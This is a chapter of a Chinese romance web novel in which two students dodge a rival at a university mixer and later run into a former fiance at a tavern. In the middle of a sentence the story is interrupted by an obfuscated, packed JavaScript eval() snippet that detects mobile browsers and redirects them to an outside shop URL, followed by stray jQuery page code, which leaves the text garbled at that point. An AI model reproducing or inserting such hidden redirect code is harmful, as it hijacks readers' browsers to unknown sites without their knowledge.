翌日一早,邱尹尹便嚷嚷着自己找了化妆师,定了礼服,缠着夏晨早早陪她过去。
“联谊会你真不去?”关悦穿着简单的毛呢大衣,正在往脚上套靴子。
许梨韫翻了个身,把被子捂得更严实些,纠结了一番还是坐了起来,开始从柜子里拿衣服。
关悦:“又要去了?”
“那我等你。”
许梨韫闷闷的声音从上铺传出来:“你喝酒吗?”
关悦似乎是被她问得有些发懵,确认了句:“喝酒?”
“嗯,下午约了人,你方便的话我们一起过去,那家酒馆挺有名的。”
“行啊,我酒量还不错。”
许梨韫闻言轻哼一声,从被子里伸出只手摆了摆:“比我,肯定差点。”
关悦没跟她争,捞开袖子看了一眼表上的时间,上午十一点。
联谊会撑死三个小时就结束了,本来是定在晚上,但是今年苏里港比往年冷,所以提前到中午。
大礼堂面积不算小,人多又热闹,里面有暖气,两人进去随意找了个前排的空位子坐下玩手机。
期间过来搭讪的也零星有几个,但都被她们两个一一回绝了。
关悦说到底是个骨子里骄傲的人,要做她的男朋友,再怎么说,也要长成景央竹那样吧。
许梨韫不知道从哪里掏出两个口罩递给关悦。
关悦一脸懵逼的看着她:“干嘛,我们见不得人啊?”
许梨韫无奈道:“带上吧,这鱼龙混杂的,少点麻烦。”
关悦觉得说得在理,没再反抗,拿过来乖乖戴上,其实按照年龄来算,许梨韫要比关悦大两个月。
相处下来只觉得这人更是小孩心气。
即使是在这样的大雪天,也有很多女孩为这场联谊会准备了单薄的礼服。
有几个站在门口的女生应该是来得比较晚,没有找到位置,甚至被挤在了外面,呼吸蹿出的白气交错,身体瑟瑟发抖,只能靠不停的搓着手臂来缓解寒冷。
关悦往自己旁侧一看,还空出来几个位置,但好像没人想过来坐,于是示意许梨韫看外面。
许梨韫侧头看了眼门外,毫不犹豫喊了句:“门口的几个同学,这边有位置。”
不出意外,几个人露出感激的表情,弓着腰提着裙摆过来坐下,嘴里一直在道谢。
其中一个见她们两个穿得这么简约,终于忍不住问了句:“你们是学姐吗?”
许梨韫脸不红心不跳的撒谎:“我们是老师。”
关悦眼睛一弯,朝她旁边靠过去轻撞了下她的胳膊,顺带弯腰看了她一眼,表情像是在说“我怎么不知道这事”。
但很快,打脸的就来了。
几个穿着正式的人从第一排走上前,应该是本次活动的主持人,几人接二连三说完开场白,随后宣布:
“本次活动正式开始,为表达对各位新来学弟学妹的重视,本年级新生联谊会,所有教授以及专业教师已经全部到齐,下面有请我们港大的副校一一介绍他们。”
副校是个年近半百,个头不算高,头发已经全白的男人,他颤巍巍的走上台,朝各位主持人握手,随后致辞:“由我来给大家介绍。”
他将手掌指向第一排最左边的教师:“黄梅,我校优秀教授,其中在专业领域里荣获……”
许梨韫眼神飞速往舞台上的投影仪一瞥,这才发现原来座位已经被分配好,按区域就座,第一排才是教师区,而她坐的第二排。
副校就快要介绍完毕,旁边的几个女生也已经零碎投来目光,看这架势是已经准备介绍到他们的时候开始鼓掌了。
关悦倒是气定神闲,靠在椅背上打算看她怎么搪塞过去。
直到下一项进程开始,几个女生才稍微显得失落般将头转回去,也没有追问。许梨韫单手撑着头,没看她们。
要是看了,负罪感指不定得多强。
不过话说回来,这算什么,她戴了口罩。
正想着,关悦便撞了撞她的胳膊,许梨韫顺着她手的方向看过去。
邱尹尹此时正挽着一个西装革履的年轻男人站在后台,举止亲昵。
远远看起来身高跟体态都与景央竹差不多,关悦更是直言道:“他身上那件衣服,有次晚宴我看景央竹穿过。”
许梨韫听这句话倒是松了口气,按景央竹的做事风格来看,既然穿过一次那必定不会有第二次了。
很显然,她们二人坐在第一排,邱尹尹也看到了她们,她远远瞥过来,表情说不上是得意还是什么,随即转身跟身旁的男人说了点什么,然后两人就抬脚朝这边走了过来。
许梨韫看了眼,心里面松一口气,果然不是景央竹。
邱尹尹说景家人要来的时候她就应该怀疑的,景央竹这么一个不喜欢凑热闹的人,怎么可能屈尊降贵来参加一所大学的新生联谊会。
至于她说的这个人,现在就站在她面前,看他这模样倒是长得还行,但是许梨韫想破脑袋也记不起他是景家的谁。
关悦显然也不知道。
邱尹尹从他肩后探出头,言语娇气道:“给你们介绍一下,这是我哥,景伯贤。”
伯字辈的,岂不是只能算景家的远亲。许梨韫心道。
关悦更是正了正嗓子,稳定发挥:“你哥?那你们两个怎么长得一点都不像?”
邱尹尹脸色变了变,继续拉着景伯贤扭捏道:“当然不是亲哥啊。”
关悦:“不是亲的还一口一个哥,景家人知道他认了这么个八竿子打不着的人当妹妹吗?”
景伯贤闻言方才开口,语气里也是不加掩饰的些许傲慢:“这是我们京海景家的事,好像还轮不到你们来指点吧。”
邱尹尹:“对啊,关悦姐,你还是掂量自己几斤几两,别到时候惹得我哥哥不高兴,你也听见了,我哥哥是京海景家的,景家什么实力,你不会不知道吧。”
估摸着这旁系的景伯贤也不知道她二人是什么身份,关悦刚想摘掉口罩让他长长眼,就被许梨韫一把遏住,眼神警告。
关悦站起来僵持了会,这才焉头巴脑的坐回原位,一脸哀怨的看着她。
等到二人以为她们不敢惹事,得意洋洋的走后,许梨韫才偏头看她:“你要再这样,我打电话让你爸停掉你的信用卡。”
关悦显然不信,摩挲着指节道:“他怎么可能会听你的话?”
许梨韫勾勾唇,尾音上挑:“因为现在我是你爸的债主。”
关悦惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804826|209555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道:“你家的股份转给你了?”
许梨韫:“不是,这是我妈临走前存给我的,至于他们的,应该早就败得差不多了。”
关悦前一秒还在想她妈妈哪来这么多钱存给她,但后来她想通了,毕竟许梨韫的母亲生前可是Moonshine的首席设计师。
这个广受各国世家追捧的设计师品牌,日入流水都不知道有多少,更何况她妈妈参与主设计的款式基本上都能大爆,光是分成和薪资都不知道能拿多少了,存这么多钱实属正常。
两人坐了会,见新生联谊会实在无聊,直接开溜。
许梨韫说的不错,这家小酒馆装修的确很有品味。
两人一前一后走进去,许梨韫走到前台,递交预约信息。
“两位小姐啊,跟我这边上楼,人已经在等你们了。”
把她们带到包厢门口时,许梨韫鞠躬道谢,笑意盈盈的走近里屋,拥抱了下等候多时的外国老人。
关悦懵着脸过去坐下,许梨韫:“这位是Moonshine的工匠,我妈妈的朋友。”
关悦礼貌示好。
许梨韫点了些本地的特色菜,说什么都要他尝尝,饭后许梨韫才拿出平板,把自己关于翅膀的设计稿拿给他看:“有没有一种类工艺,可以让这个翅膀看上去有珍珠表面的那种珠光感。”
老人在桌上插着手指,询问道:“你是想让它与你的黑色礼裙相配吗?这对翅膀真漂亮。”
许梨韫反问道:“那您觉得这个设计怎么样?”
“这个想法很棒,我想你的作品会成为二十四礼赞系列,最优秀的作品之一,翅膀我可以帮你做,工期大概一个月,后面会空运到苏里港。”
许梨韫收了平板,微笑道:“那太好了,这个工费具体多少,我到时候打到您的账户。”
老人做了一个制止的动作,许梨韫不明其含义,脑袋一歪定定看着他。
老人笑道:“不用工费,当是我留给故人的礼物,我一看到你就会想起你的母亲,她走很多年了,我早该来看看你,算是替她表达思念。不过我相信你也会在这个领域取得成功的。”
“有很多话想说,但是我今晚还要赶飞机,就告别了,后续进程我们手机联系。”
许梨韫赶紧站起来相送,雪已经完全覆盖了方才来时的门槛,几个服务员正抡起大铲子铲雪。
许梨韫送完人回来,笑着道一句辛苦后才继续上楼找关悦。
但座位上似乎不止关悦一个人,也是在此时,手机消息提示音不断响起。
关悦:怎么办?
你猜我看到了谁?
景央竹
他就坐在我对面。
你要是不想见他就先回宿舍。
可是根本来不及了,等她看到信息时,景央竹已经听见方才门口的动静,靠着椅背看着她了。
关悦看到她后掐了自己大腿一把,一脸“完蛋了,修罗场”的表情。
许梨韫握了握拳,脸上没什么表情的走过去。
他们的关系走到今天这个局面,本质上跟她没有关系。
婚约是景弦乐取消的,也是他先消失的。
怎么好像现在,他看她的眼神,一切的错都变成了她的。